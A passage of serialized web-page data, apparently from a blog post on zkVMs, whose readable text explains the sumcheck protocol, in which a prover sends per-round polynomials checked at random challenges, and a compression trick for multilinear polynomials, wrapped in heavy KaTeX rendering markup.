},{"type":21,"tag":198,"props":109641,"children":109643},{"className":109642},[4933,4870],[109644],{"type":27,"value":2205},{"type":21,"tag":198,"props":109646,"children":109648},{"className":109647},[4822,4870],[109649],{"type":27,"value":134},{"type":21,"tag":198,"props":109651,"children":109653},{"className":109652},[22532,4870],[109654],{"type":27,"value":779},{"type":21,"tag":198,"props":109656,"children":109658},{"className":109657},[22538],[109659],{"type":27,"value":22541},{"type":21,"tag":198,"props":109661,"children":109663},{"className":109662},[4847],[109664],{"type":21,"tag":198,"props":109665,"children":109667},{"className":109666,"style":22549},[4852],[109668],{"type":21,"tag":198,"props":109669,"children":109670},{},[],{"type":21,"tag":198,"props":109672,"children":109674},{"className":109673,"style":4939},[4901],[],{"type":21,"tag":198,"props":109676,"children":109678},{"className":109677,"style":93915},[4822,22381],[109679],{"type":27,"value":109680},"g",{"type":21,"tag":198,"props":109682,"children":109684},{"className":109683},[22510],[109685],{"type":27,"value":706},{"type":21,"tag":198,"props":109687,"children":109689},{"className":109688},[4822],[109690,109695],{"type":21,"tag":198,"props":109691,"children":109693},{"className":109692},[4822,22381],[109694],{"type":27,"value":20070},{"type":21,"tag":198,"props":109696,"children":109698},{"className":109697},[4837],[109699],{"type":21,"tag":198,"props":109700,"children":109702},{"className":109701},[4842,22435],[109703,109732],{"type":21,"tag":198,"props":109704,"children":109706},{"className":109705},[4847],[109707,109727],{"type":21,"tag":198,"props":109708,"children":109710},{"className":109709,"style":93481},[4852],[109711],{"type":21,"tag":198,"props":109712,"children":109713},{"style":93485},[109714,109718],{"type":21,"tag":198,"props":109715,"children":109717},{"className":109716,"style":4862},[4861],[],{"type":21,"tag":198,"props":109719,"children":109721},{"className":109720},[4867,4868,4869,4870],[109722],{"type":21,"tag":198,"props":109723,"children":109725},{"className":109724},[4822,4870],[109726],{"type":27,"value":134},{"type":21,"tag":198,"props":109728,"children":109730},{"className":109729},[22538],[109731],{"type":27,"value":22541},{"type":21,"tag":198,"props":109733,"children":109735},{"className":109734},[4847],[109736],{"type":21,"tag":198,"props":109737,"children":109739},{"className":109738,"style":93512},[4852],[109740],{"type":21,"tag":198,"props":109741,"children":109742},{},[],{"type":21,"tag":198,"props":109744,"children":109746},{"className":109745},[4933],[109747],{"type":27,"value":2205},{"type":21,"tag":198,"props":109749,"children":109751},{"className":109750,"style":4939},[4901],[],{"type":21,"tag":198,"props":109753,"children":109755},{"className":109754},[4822],[109756,109761],{"type":21,"tag":198,"props":109757,"children":109759},{"className":109758},[4822,22381],[109760],{"type":27,"value":20070},{"type":21,"tag":198,"props":109762,"children":109764},{"className":109763},[4837],[109765],{"type":21,"tag":198,"props":109766,"children":109768},{"className":109767},[4842,22435],[109769,109798],{"type":21,"tag":198,"props":109770,"children":109772},{"className":109771},[4847],[109773,109793],{"type":21,"tag":198,"props":109774,"children":109776},{"className":109775,"style":93481},[4852],[109777],{"type":21,"tag":198,"props":109778,"children":109779},{"style":93485},[109780,109784],{"type":21,"tag":198,"props":109781,"children":109783},{"className":109782,"style":4862},[4861],[],{"type":21,"tag":198,"props":109785,"children":109787},{"className":109786},[4867,4868,4869,4870],[109788],{"type":21,"tag":198,"props":109789,"children":109791},{"className":109790},[4822,4870],[109792],{"type":27,"value":3931},{"type":21,"tag":198,"props":109794,"children":109796},{"className":109795},[22538],[109797],{"type":27,"value":22541},{"type":21,"tag":198,"props":109799,"children":109801},{"className":109800},[4847],[109802],{"type":21,"tag":198,"props":109803,"children":109805},{"className":109804,"style":93512},[4852],[109806],{"type":21,"tag":198,"props":109807,"children":109808},{},[],{"type":21,"tag":198,"props":109810,"children":109812},{"className":109811},[4933],[109813],{"type":27,"value":2205},{"type":21,"tag":198,"props":109815,"children":109817},{"className":109816,"style":4939},[4901],[],{"type":21,"tag":198,"props":109819,"children":109821},{"className":109820},[109519],[109822],{"type":27,"value":109823},"…",{"type":21,"tag":198,"props":109825,"children":109827},{"className":109826,"style":4939},[4901],[],{"type":21,"tag":198,"props":109829,"children":109831},{"className":109830},[4933],[109832],{"type":27,"value":2205},{"type":21,"tag":198,"props":109834,"children":109836},{"className":109835,"style":4939},[4901],[],{"type":21,"tag":198,"props":109838,"children":109840},{"className":109839},[4822],[109841,109846],{"type":21,"tag":198,"props":109842,"children":109844},{"className":109843},[4822,22381],[109845],{"type":27,"value":20070},{"type":21,"tag":198,"props":109847,"children":109849},{"className":109848},[4837],[109850],{"type":21,"tag":198,"props":109851,"children":109853},{"className":109852},[4842,22435],[109854,109884],{"type":21,"tag":198,"props":109855,"children":109857},{"className":109856},[4847],[109858,109879],{"type":21,"tag":198,"props":109859,"children":109862},{"className":109860,"style":109861},[4852],"height:0.1514em;",[109863],{"type":21,"tag":198,"props":109864,"children":109865},{"style":93485},[109866,109870],{"type":21,"tag":198,"props":109867,"children":109869},{"className":109868,"style":4862},[4861],[],{"type":21,"tag":198,"props":109871,"children":109873},{"className":109872},[4867,4868,4869,4870],[109874],{"type":21,"tag":198,"props":109875,"children":109877},{"className":109876},[4822,22381,4870],[109878],{"type":27,"value":56780},{"type":21,"tag":198,"props":109880,"children":109882},{"className":109881},[22538],[109883],{"type":27,"value":22541},{"type":21,"tag":198,"props":109885,"children":109887},{"className":109886},[4847],[109888],{"type":21,"tag":198,"props":109889,"children":109891},{"className":109890,"style":93512},[4852],[109892],{"type":21,"tag":198,"props":109893,"children":109894},{},[],{"type":21,"tag":198,"props":109896,"children":109898},{"className":109897},[22532],[109899],{"type":27,"value":2109},{"type":21,"tag":30,"props":109901,"children":109902},{},[109903,109905,109966],{"type":27,"value":109904},"The naive approach would be for the verifier to compute all ",{"type":21,"tag":194,"props":109906,"children":109908},{"className":109907},[4794,4795],[109909],{"type":21,"tag":198,"props":109910,"children":109912},{"className":109911},[4800],[109913],{"type":21,"tag":198,"props":109914,"children":109916},{"className":109915,"ariaHidden":4806},[4805],[109917],{"type":21,"tag":198,"props":109918,"children":109920},{"className":109919},[4811],[109921,109925],{"type":21,"tag":198,"props":109922,"children":109924},{"className":109923,"style":109146},[4816],[],{"type":21,"tag":198,"props":109926,"children":109928},{"className":109927},[4822],[109929,109934],{"type":21,"tag":198,"props":109930,"children":109932},{"className":109931},[4822],[109933],{"type":27,"value":3931},{"type":21,"tag":198,"props":109935,"children":109937},{"className":109936},[4837],[109938],{"type":21,"tag":198,"props":109939,"children":109941},{"className":109940},[4842],[109942],{"type":21,"tag":198,"props":109943,"children":109945},{"className":109944},[4847],[109946],{"type":21,"tag":198,"props":109947,"children":109949},{"className":109948,"style":109146},[4852],[109950],{"type":21,"tag":198,"props":109951,"children":109952},{"style":4856},[109953,109957],{"type":21,"tag":198,"props":109954,"children":109956},{"className":109955,"style":4862},[4861],[],{"type":21,"tag":198,"props":109958,"children":109960},{"className":109959},[4867,4868,4869,4870],[109961],{"type":21,"tag":198,"props":109962,"children":109964},{"className":109963},[4822,22381,4870],[109965],{"type":27,"value":56780},{"type":27,"value":109967}," evaluations. This is exponentially expensive.",{"type":21,"tag":30,"props":109969,"children":109970},{},[109971,109973,109978],{"type":27,"value":109972},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":21,"tag":6137,"props":109974,"children":109975},{},[109976],{"type":27,"value":109977},"only one",{"type":27,"value":658},{"type":21,"tag":30,"props":109980,"children":109981},{},[109982],{"type":21,"tag":1376,"props":109983,"children":109986},{"alt":109984,"src":109985},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":21,"tag":30,"props":109988,"children":109989},{},[109990,109992,110084,110086,110271,110273,110298,110300,110378,110380,110459],{"type":27,"value":109991},"In each round, the prover must send a polynomial ",{"type":21,"tag":194,"props":109993,"children":109995},{"className":109994},[4794,4795],[109996],{"type":21,"tag":198,"props":109997,"children":109999},{"className":109998},[4800],[110000],{"type":21,"tag":198,"props":110001,"children":110003},{"className":110002,"ariaHidden":4806},[4805],[110004],{"type":21,"tag":198,"props":110005,"children":110007},{"className":110006},[4811],[110008,110012,110069,110074,110079],{"type":21,"tag":198,"props":110009,"children":110011},{"className":110010,"style":4922},[4816],[],{"type":21,"tag":198,"props":110013,"children":110015},{"className":110014},[4822],[110016,110021],{"type":21,"tag":198,"props":110017,"children":110019},{"className":110018,"style":93915},[4822,22381],[110020],{"type":27,"value":109680},{"type":21,"tag":198,"props":110022,"children":110024},{"className":110023},[4837],[110025],{"type":21,"tag":198,"props":110026,"children":110028},{"className":110027},[4842,22435],[110029,110058],{"type":21,"tag":198,"props":110030,"children":110032},{"className":110031},[4847],[110033,110053],{"type":21,"tag":198,"props":110034,"children":110036},{"className":110035,"style":93958},[4852],[110037],{"type":21,"tag":198,"props":110038,"children":110039},{"style":93962},[110040,110044],{"type":21,"tag":198,"props":110041,"children":110043},{"className":110042,"style":4862},[4861],[],{"type":21,"tag":198,"props":110045,"children":110047},{"className":110046},[4867,4868,4869,4870],[110048],{"type":21,"tag":198,"props":110049,"children":110051},{"className":110050},[4822,22381,4870],[110052],{"type":27,"value":4544},{"type":21,"tag":198,"props":110054,"children":110056},{"className":110055},[22538],[110057],{"type":27,"value":22541},{"type":21,"tag":198,"props":110059,"children":110061},{"className":110060},[4847],[110062],{"type":21,"tag":198,"props":110063,"children":110065},{"className":110064,"style":93512},[4852],[110066],{"type":21,"tag":198,"props":110067,"children":110068},{},[],{"type":21,"tag":198,"props":110070,"children":110072},{"className":110071},[22510],[110073],{"type":27,"value":706},{"type":21,"tag":198,"props":110075,"children":110077},{"className":110076,"style":95449},[4822,22381],[110078],{"type":27,"value":6945},{"type":21,"tag":198,"props":110080,"children":110082},{"className":110081},[22532],[110083],{"type":27,"value":2109},{"type":27,"value":110085}," such that ",{"type":21,"tag":194,"props":110087,"children":110089},{"className":110088},[4794,4795],[110090],{"type":21,"tag":198,"props":110091,"children":110093},{"className":110092},[4800],[110094],{"type":21,"tag":198,"props":110095,"children":110097},{"className":110096,"ariaHidden":4806},[4805],[110098,110191],{"type":21,"tag":198,"props":110099,"children":110101},{"className":110100},[4811],[110102,110106,110163,110168,110173,110178,110182,110187],{"type":21,"tag":198,"props":110103,"children":110105},{"className":110104,"style":4922},[4816],[],{"type":21,"tag":198,"props":110107,"children":110109},{"className":110108},[4822],[110110,110115],{"type":21,"tag":198,"props":110111,"children":110113},{"className":110112,"style":93915},[4822,22381],[110114],{"type":27,"value":109680},{"type":21,"tag":198,"props":110116,"children":110118},{"className":110117},[4837],[110119],{"type":21,"tag":198,"props":110120,"children":110122},{"className":110121},[4842,22435],[110123,110152],{"type":21,"tag":198,"props":110124,"children":110126},{"className":110125},[4847],[110127,110147],{"type":21,"tag":198,"props":110128,"children":110130},{"className":110129,"style":93958},[4852],[110131],{"type":21,"tag":198,"props":110132,"children":110133},{"style":93962},[110134,110138],{"type":21,"tag":198,"props":110135,"children":110137},{"className":110136,"style":4862},[4861],[],{"type":21,"tag":198,"props":110139,"children":110141},{"className":110140},[4867,4868,4869,4870],[110142],{"type":21,"tag":198,"props":110143,"children":110145},{"className":110144},[4822,22381,4870],[110146],{"type":27,"value":4544},{"type":21,"tag":198,"props":110148,"children":110150},{"className":110149},[22538],[110151],{"type":27,"value":22541},{"type":21,"tag":198,"props":110153,"children":110155},{"className":110154},[4847],[110156],{"type":21,"tag":198,"props":110157,"children":110159},{"className":110158,"style":93512},[4852],[110160],{"type":21,"tag":198,"props":110161,"children":110162},{},[],{"type":21,"tag":198,"props":110164,"children":110166},{"className":110165},[22510],[110167],{"type":27,"value":706},{"type":21,"tag":198,"props":110169,"children":110171},{"className":110170},[4822],[110172],{"type":27,"value":3482},{"type":21,"tag":198,"props":110174,"children":110176},{"className":110175},[22532],[110177],{"type":27,"value":2109},{"type":21,"tag":198,"props":110179,"children":110181},{"className":110180,"style":4902},[4901],[],{"type":21,"tag":198,"props":110183,"children":110185},{"className":110184},[4907],[110186],{"type":27,"value":5193},{"type":21,"tag":198,"props":110188,"children":110190},{"className":110189,"style":4902},[4901],[],{"type":21,"tag":198,"props":110192,"children":110194},{"className":110193},[4811],[110195,110199,110256,110261,110266],{"type":21,"tag":198,"props":110196,"children":110198},{"className":110197,"style":4922},[4816],[],{"type":21,"tag":198,"props":110200,"children":110202},{"className":110201},[4822],[110203,110208],{"type":21,"tag":198,"props":110204,"children":110206},{"className":110205,"style":93915},[4822,22381],[110207],{"type":27,"value":109680},{"type":21,"tag":198,"props":110209,"children":110211},{"className":110210},[4837],[110212],{"type":21,"tag":198,"props":110213,"children":110215},{"className":110214},[4842,22435],[110216,110245],{"type":21,"tag":198,"props":110217,"children":110219},{"className":110218},[4847],[110220,110240],{"type":21,"tag":198,"props":110221,"children":110223},{"className":110222,"style":93958},[4852],[110224],{"type":21,"tag":198,"props":110225,"children":110226},{"style":93962},[110227,110231],{"type":21,"tag":198,"props":110228,"children":110230},{"className":110229,"style":4862},[4861],[],{"type":21,"tag":198,"props":110232,"children":110234},{"className":110233},[4867,4868,4869,4870],[110235],{"type":21,"tag":198,"props":110236,"children":110238},{"className":110237},[4822,22381,4870],[110239],{"type":27,"value":4544},{"type":21,"tag":198,"props":110241,"children":110243},{"className":110242},[22538],[110244],{"type":27,"value":22541},{"type":21,"tag":198,"props":110246,"children":110248},{"className":110247},[4847],[110249],{"type":21,"tag":198,"props":110250,"children":110252},{"className":110251,"style":93512},[4852],[110253],{"type":21,"tag":198,"props":110254,"children":110255},{},[],{"type":21,"tag":198,"props":110257,"children":110259},{"className":110258},[22510],[110260],{"type":27,"value":706},{"type":21,"tag":198,"props":110262,"children":110264},{"className":110263},[4822],[110265],{"type":27,"value":134},{"type":21,"tag":198,"props":110267,"children":110269},{"className":110268},[22532],[110270],{"type":27,"value":2109},{"type":27,"value":110272}," equals the previous claim. If the prover is lying about the original sum ",{"type":21,"tag":194,"props":110274,"children":110276},{"className":110275},[4794,4795],[110277],{"type":21,"tag":198,"props":110278,"children":110280},{"className":110279},[4800],[110281],{"type":21,"tag":198,"props":110282,"children":110284},{"className":110283,"ariaHidden":4806},[4805],[110285],{"type":21,"tag":198,"props":110286,"children":110288},{"className":110287},[4811],[110289,110293],{"type":21,"tag":198,"props":110290,"children":110292},{"className":110291,"style":22376},[4816],[],{"type":21,"tag":198,"props":110294,"children":110296},{"className":110295,"style":93663},[4822,22381],[110297],{"type":27,"value":93666},{"type":27,"value":110299},", then they must lie about ",{"type":21,"tag":194,"props":110301,"children":110303},{"className":110302},[4794,4795],[110304],{"type":21,"tag":198,"props":110305,"children":110307},{"className":110306},[4800],[110308],{"type":21,"tag":198,"props":110309,"children":110311},{"className":110310,"ariaHidden":4806},[4805],[110312],{"type":21,"tag":198,"props":110313,"children":110315},{"className":110314},[4811],[110316,110321],{"type":21,"tag":198,"props":110317,"children":110320},{"className":110318,"style":110319},[4816],"height:0.625em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":110322,"children":110324},{"className":110323},[4822],[110325,110330],{"type":21,"tag":198,"props":110326,"children":110328},{"className":110327,"style":93915},[4822,22381],[110329],{"type":27,"value":109680},{"type":21,"tag":198,"props":110331,"children":110333},{"className":110332},[4837],[110334],{"type":21,"tag":198,"props":110335,"children":110337},{"className":110336},[4842,22435],[110338,110367],{"type":21,"tag":198,"props":110339,"children":110341},{"className":110340},[4847],[110342,110362],{"type":21,"tag":198,"props":110343,"children":110345},{"className":110344,"style":93958},[4852],[110346],{"type":21,"tag":198,"props":110347,"children":110348},{"style":93962},[110349,110353],{"type":21,"tag":198,"props":110350,"children":110352},{"className":110351,"style":4862},[4861],[],{"type":21,"tag":198,"props":110354,"children":110356},{"className":110355},[4867,4868,4869,4870],[110357],{"type":21,"tag":198,"props":110358,"children":110360},{"className":110359},[4822,22381,4870],[110361],{"type":27,"value":4544},{"type":21,"tag":198,"props":110363,"children":110365},{"className":110364},[22538],[110366],{"type":27,"value":22541},{"type":21,"tag":198,"props":110368,"children":110370},{"className":110369},[4847],[110371],{"type":21,"tag":198,"props":110372,"children":110374},{"className":110373,"style":93512},[4852],[110375],{"type":21,"tag":198,"props":110376,"children":110377},{},[],{"type":27,"value":110379}," somewhere. But since the verifier picks a random ",{"type":21,"tag":194,"props":110381,"children":110383},{"className":110382},[4794,4795],[110384],{"type":21,"tag":198,"props":110385,"children":110387},{"className":110386},[4800],[110388],{"type":21,"tag":198,"props":110389,"children":110391},{"className":110390,"ariaHidden":4806},[4805],[110392],{"type":21,"tag":198,"props":110393,"children":110395},{"className":110394},[4811],[110396,110401],{"type":21,"tag":198,"props":110397,"children":110400},{"className":110398,"style":110399},[4816],"height:0.5806em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":110402,"children":110404},{"className":110403},[4822],[110405,110410],{"type":21,"tag":198,"props":110406,"children":110408},{"className":110407,"style":93429},[4822,22381],[110409],{"type":27,"value":94248},{"type":21,"tag":198,"props":110411,"children":110413},{"className":110412},[4837],[110414],{"type":21,"tag":198,"props":110415,"children":110417},{"className":110416},[4842,22435],[110418,110448],{"type":21,"tag":198,"props":110419,"children":110421},{"className":110420},[4847],[110422,110443],{"type":21,"tag":198,"props":110423,"children":110425},{"className":110424,"style":93958},[4852],[110426],{"type":21,"tag":198,"props":110427,"children":110429},{"style":110428},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[110430,110434],{"type":21,"tag":198,"props":110431,"children":110433},{"className":110432,"style":4862},[4861],[],{"type":21,"tag":198,"props":110435,"children":110437},{"className":110436},[4867,4868,4869,4870],[110438],{"type":21,"tag":198,"props":110439,"children":110441},{"className":110440},[4822,22381,4870],[110442],{"type":27,"value":4544},{"type":21,"tag":198,"props":110444,"children":110446},{"className":110445},[22538],[110447],{"type":27,"value":22541},{"type":21,"tag":198,"props":110449,"children":110451},{"className":110450},[4847],[110452],{"type":21,"tag":198,"props":110453,"children":110455},{"className":110454,"style":93512},[4852],[110456],{"type":21,"tag":198,"props":110457,"children":110458},{},[],{"type":27,"value":110460},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":21,"tag":162,"props":110462,"children":110464},{"id":110463},"the-compression-trick",[110465],{"type":27,"value":110466},"The Compression Trick",{"type":21,"tag":30,"props":110468,"children":110469},{},[110470,110472,110622,110624,110904],{"type":27,"value":110471},"For degree-1 (multilinear) polynomials, ",{"type":21,"tag":194,"props":110473,"children":110475},{"className":110474},[4794,4795],[110476],{"type":21,"tag":198,"props":110477,"children":110479},{"className":110478},[4800],[110480],{"type":21,"tag":198,"props":110481,"children":110483},{"className":110482,"ariaHidden":4806},[4805],[110484,110577,110604],{"type":21,"tag":198,"props":110485,"children":110487},{"className":110486},[4811],[110488,110492,110549,110554,110559,110564,110568,110573],{"type":21,"tag":198,"props":110489,"children":110491},{"className":110490,"style":4922},[4816],[],{"type":21,"tag":198,"props":110493,"children":110495},{"className":110494},[4822],[110496,110501],{"type":21,"tag":198,"props":110497,"children":110499},{"className":110498,"style":93915},[4822,22381],[110500],{"type":27,"value":109680},{"type":21,"tag":198,"props":110502,"children":110504},{"className":110503},[4837],[110505],{"type":21,"tag":198,"props":110506,"children":110508},{"className":110507},[4842,22435],[110509,110538],{"type":21,"tag":198,"props":110510,"children":110512},{"className":110511},[4847],[110513,110533],{"type":21,"tag":198,"props":110514,"children":110516},{"className":110515,"style":93958},[4852],[110517],{"type":21,"tag":198,"props":110518,"children":110519},{"style":93962},[110520,110524],{"type":21,"tag":198,"props":110521,"children":110523},{"className":110522,"style":4862},[4861],[],{"type":21,"tag":198,"props":110525,"children":110527},{"className":110526},[4867,4868,4869,4870],[110528],{"type":21,"tag":198,"props":110529,"children":110531},{"className":110530},[4822,22381,4870],[110532],{"type":27,"value":4544},{"type":21,"tag":198,"props":110534,"children":110536},{"className":110535},[22538],[110537],{"type":27,"value":22541},{"type":21,"tag":198,"props":110539,"children":110541},{"className":110540},[4847],[110542],{"type":21,"tag":198,"props":110543,"children":110545},{"className":110544,"style":93512},[4852],[110546],{"type":21,"tag":198,"props":110547,"children":110548},{},[],{"type":21,"tag":198,"props":110550,"children":110552},{"className":110551},[22510],[110553],{"type":27,"value":706},{"type":21,"tag":198,"props":110555,"children":110557},{"className":110556,"style":95449},[4822,22381],[110558],{"type":27,"value":6945},{"type":21,"tag":198,"props":110560,"children":110562},{"className":110561},[22532],[110563],{"type":27,"value":2109},{"type":21,"tag":198,"props":110565,"children":110567},{"className":110566,"style":4998},[4901],[],{"type":21,"tag":198,"props":110569,"children":110571},{"className":110570},[5003],[110572],{"type":27,"value":3174},{"type":21,"tag":198,"props":110574,"children":110576},{"className":110575,"style":4998},[4901],[],{"type":21,"tag":198,"props":110578,"children":110580},{"className":110579},[4811],[110581,110586,110591,110595,110600],{"type":21,"tag":198,"props":110582,"children":110585},{"className":110583,"style":110584},[4816],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":21,"tag":198,"props":110587,"children":110589},{"className":110588},[4822,22381],[110590],{"type":27,"value":34},{"type":21,"tag":198,"props":110592,"children":110594},{"className":110593,"style":4902},[4901],[],{"type":21,"tag":198,"props":110596,"children":110598},{"className":110597},[4907],[110599],{"type":27,"value":5193},{"type":21,"tag":198,"props":110601,"children":110603},{"className":110602,"style":4902},[4901],[],{"type":21,"tag":198,"props":110605,"children":110607},{"className":110606},[4811],[110608,110612,110617],{"type":21,"tag":198,"props":110609,"children":110611},{"className":110610,"style":93344},[4816],[],{"type":21,"tag":198,"props":110613,"children":110615},{"className":110614},[4822,22381],[110616],{"type":27,"value":4029},{"type":21,"tag":198,"props":110618,"children":110620},{"className":110619,"style":95449},[4822,22381],[110621],{"type":27,"value":6945},{"type":27,"value":110623}," has only two coefficients. Since the verifier knows ",{"type":21,"tag":194,"props":110625,"children":110627},{"className":110626},[4794,4795],[110628],{"type":21,"tag":198,"props":110629,"children":110631},{"className":110630},[4800],[110632],{"type":21,"tag":198,"props":110633,"children":110635},{"className":110634,"ariaHidden":4806},[4805],[110636,110729,110822],{"type":21,"tag":198,"props":110637,"children":110639},{"className":110638},[4811],[110640,110644,110701,110706,110711,110716,110720,110725],{"type":21,"tag":198,"props":110641,"children":110643},{"className":110642,"style":4922},[4816],[],{"type":21,"tag":198,"props":110645,"children":110647},{"className":110646},[4822],[110648,110653],{"type":21,"tag":198,"props":110649,"children":110651},{"className":110650,"style":93915},[4822,22381],[110652],{"type":27,"value":109680},{"type":21,"tag":198,"props":110654,"children":110656},{"className":110655},[4837],[110657],{"type":21,"tag":198,"props":110658,"children":110660},{"className":110659},[4842,22435],[110661,110690],{"type":21,"tag":198,"props":110662,"children":110664},{"className":110663},[4847],[110665,110685],{"type":21,"tag":198,"props":110666,"children":110668},{"className":110667,"style":93958},[4852],[110669],{"type":21,"tag":198,"props":110670,"children":110671},{"style":93962},[110672,110676],{"type":21,"tag":198,"props":110673,"children":110675},{"className":110674,"style":4862},[4861],[],{"type":21,"tag":198,"props":110677,"children":110679},{"className":110678},[4867,4868,4869,4870],[110680],{"type":21,"tag":198,"props":110681,"children":110683},{"className":110682},[4822,22381,4870],[110684],{"type":27,"value":4544},{"type":21,"tag":198,"props":110686,"children":110688},{"className":110687},[22538],[110689],{"type":27,"value":22541},{"type":21,"tag":198,"props":110691,"children":110693},{"className":110692},[4847],[110694],{"type":21,"tag":198,"props":110695,"children":110697},{"className":110696,"style":93512},[4852],[110698],{"type":21,"tag":198,"props":110699,"children":110700},{},[],{"type":21,"tag":198,"props":110702,"children":110704},{"className":110703},[22510],[110705],{"type":27,"value":706},{"type":21,"tag":198,"props":110707,"children":110709},{"className":110708},[4822],[110710],{"type":27,"value":3482},{"type":21,"tag":198,"props":110712,"children":110714},{"className":110713},[22532],[110715],{"type":27,"value":2109},{"type":21,"tag":198,"props":110717,"children":110719},{"className":110718,"style":4902},[4901],[],{"type":21,"tag":198,"props":110721,"children":110723},{"className":110722},[4907],[110724],{"type":27,"value":5193},{"type":21,"tag":198,"props":110726,"children":110728},{"className":110727,"style":4902},[4901],[],{"type":21,"tag":198,"props":110730,"children":110732},{"className":110731},[4811],[110733,110737,110794,110799,110804,110809,110813,110818],{"type":21,"tag":198,"props":110734,"children":110736},{"className":110735,"style":4922},[4816],[],{"type":21,"tag":198,"props":110738,"children":110740},{"className":110739},[4822],[110741,110746],{"type":21,"tag":198,"props":110742,"children":110744},{"className":110743,"style":93915},[4822,22381],[110745],{"type":27,"value":109680},{"type":21,"tag":198,"props":110747,"children":110749},{"className":110748},[4837],[110750],{"type":21,"tag":198,"props":110751,"children":110753},{"className":110752},[4842,22435],[110754,110783],{"type":21,"tag":198,"props":110755,"children":110757},{"className":110756},[4847],[110758,110778],{"type":21,"tag":198,"props":110759,"children":110761},{"className":110760,"style":93958},[4852],[110762],{"type":21,"tag":198,"props":110763,"children":110764},{"style":93962},[110765,110769],{"type":21,"tag":198,"props":110766,"children":110768},{"className":110767,"style":4862},[4861],[],{"type":21,"tag":198,"props":110770,"children":110772},{"className":110771},[4867,4868,4869,4870],[110773],{"type":21,"tag":198,"props":110774,"children":110776},{"className":110775},[4822,22381,4870],[110777],{"type":27,"value":4544},{"type":21,"tag":198,"props":110779,"children":110781},{"className":110780},[22538],[110782],{"type":27,"value":22541},{"type":21,"tag":198,"props":110784,"children":110786},{"className":110785},[4847],[110787],{"type":21,"tag":198,"props":110788,"children":110790},{"className":110789,"style":93512},[4852],[110791],{"type":21,"tag":198,"props":110792,"children":110793},{},[],{"type":21,"tag":198,"props":110795,"children":110797},{"className":110796},[22510],[110798],{"type":27,"value":706},{"type":21,"tag":198,"props":110800,"children":110802},{"className":110801},[4822],[110803],{"type":27,"value":134},{"type":21,"tag":198,"props":110805,"children":110807},{"className":110806},[22532],[110808],{"type":27,"value":2109},{"type":21,"tag":198,"props":110810,"children":110812},{"className":110811,"style":4998},[4901],[],{"type":21,"tag":198,"props":110814,"children":110816},{"className":110815},[5003],[110817],{"type":27,"value":3174},{"type":21,"tag":198,"props":110819,"children":110821},{"className":110820,"style":4998},[4901],[],{"type":21,"tag":198,"props":110823,"children":110825},{"className":110824},[4811],[110826,110831],{"type":21,"tag":198,"props":110827,"children":110830},{"className":110828,"style":110829},[4816],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":21,"tag":198,"props":110832,"children":110834},{"className":110833},[4822],[110835,110840],{"type":21,"tag":198,"props":110836,"children":110838},{"className":110837,"style":93663},[4822,22381],[110839],{"type":27,"value":93666},{"type":21,"tag":198,"props":110841,"children":110843},{"className":110842},[4837],[110844],{"type":21,"tag":198,"props":110845,"children":110847},{"className":110846},[4842,22435],[110848,110892],{"type":21,"tag":198,"props":110849,"children":110851},{"className":110850},[4847],[110852,110887],{"type":21,"tag":198,"props":110853,"children":110855},{"className":110854,"style":93958},[4852],[110856],{"type":21,"tag":198,"props":110857,"children":110859},{"style":110858},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[110860,110864],{"type":21,"tag":198,"props":110861,"children":110863},{"className":110862,"style":4862},[4861],[],{"type":21,"tag":198,"props":110865,"children":110867},{"className":110866},[4867,4868,4869,4870],[110868],{"type":21,"tag":198,"props":110869,"children":110871},{"className":110870},[4822,4870],[110872,110877,110882],{"type":21,"tag":198,"props":110873,"children":110875},{"className":110874},[4822,22381,4870],[110876],{"type":27,"value":4544},{"type":21,"tag":198,"props":110878,"children":110880},{"className":110879},[4907,4870],[110881],{"type":27,"value":4881},{"type":21,"tag":198,"props":110883,"children":110885},{"className":110884},[4822,4870],[110886],{"type":27,"value":134},{"type":21,"tag":198,"props":110888,"children":110890},{"className":110889},[22538],[110891],{"type":27,"value":22541},{"type":21,"tag":198,"props":110893,"children":110895},{"className":110894},[4847],[110896],{"type":21,"tag":198,"props":110897,"children":110900},{"className":110898,"style":110899},[4852],"height:0.2083em;",[110901],{"type":21,"tag":198,"props":110902,"children":110903},{},[],{"type":27,"value":110905}," (the previous claim), we have:",{"type":21,"tag":30,"props":110907,"children":110908},{},[110909],{"type":21,"tag":194,"props":110910,"children":110912},{"className":110911},[4794,4795],[110913],{"type":21,"tag":198,"props":110914,"children":110916},{"className":110915},[4800],[110917],{"type":21,"tag":198,"props":110918,"children":110920},{"className":110919,"ariaHidden":4806},[4805],[110921,110947,110978,111009,111110,111136,111228],{"type":21,"tag":198,"props":110922,"children":110924},{"className":110923},[4811],[110925,110929,110934,110938,110943],{"type":21,"tag":198,"props":110926,"children":110928},{"className":110927,"style":110584},[4816],[],{"type":21,"tag":198,"props":110930,"children":110932},{"className":110931},[4822,22381],[110933],{"type":27,"value":34},{"type":21,"tag":198,"props":110935,"children":110937},{"className":110936,"style":4902},[4901],[],{"type":21,"tag":198,"props":110939,"children":110941},{"className":110940},[4907],[110942],{"type":27,"value":5193},{"type":21,"tag":198,"props":110944,"children":110946},{"className":110945,"style":4902},[4901],[],{"type":21,"tag":198,"props":110948,"children":110950},{"className":110949},[4811],[110951,110955,110960,110965,110969,110974],{"type":21,"tag":198,"props":110952,"children":110954},{"className":110953,"style":4922},[4816],[],{"type":21,"tag":198,"props":110956,"children":110958},{"className":110957},[22510],[110959],{"type":27,"value":706},{"type":21,"tag":198,"props":110961,"children":110963},{"className":110962},[4822,22381],[110964],{"type":27,"value":34},{"type":21,"tag":198,"props":110966,"children":110968},{"className":110967,"style":4902},[4901],[],{"type":21,"tag":198,"props":110970,"children":110972},{"className":110971},[4907],[110973],{"type":27,"value":5193},{"type":21,"tag":198,"props":110975,"children":110977},{"className":110976,"style":4902},[4901],[],{"type":21,"tag":198,"props":110979,"children":110981},{"className":110980},[4811],[110982,110986,110991,110996,111000,111005],{"type":21,"tag":198,"props":110983,"children":110985},{"className":110984,"style":4922},[4816],[],{"type":21,"tag":198,"props":110987,"children":110989},{"className":110988},[4822,22381],[110990],{"type":27,"value":4029},{"type":21,"tag":198,"props":110992,"children":110994},{"className":110993},[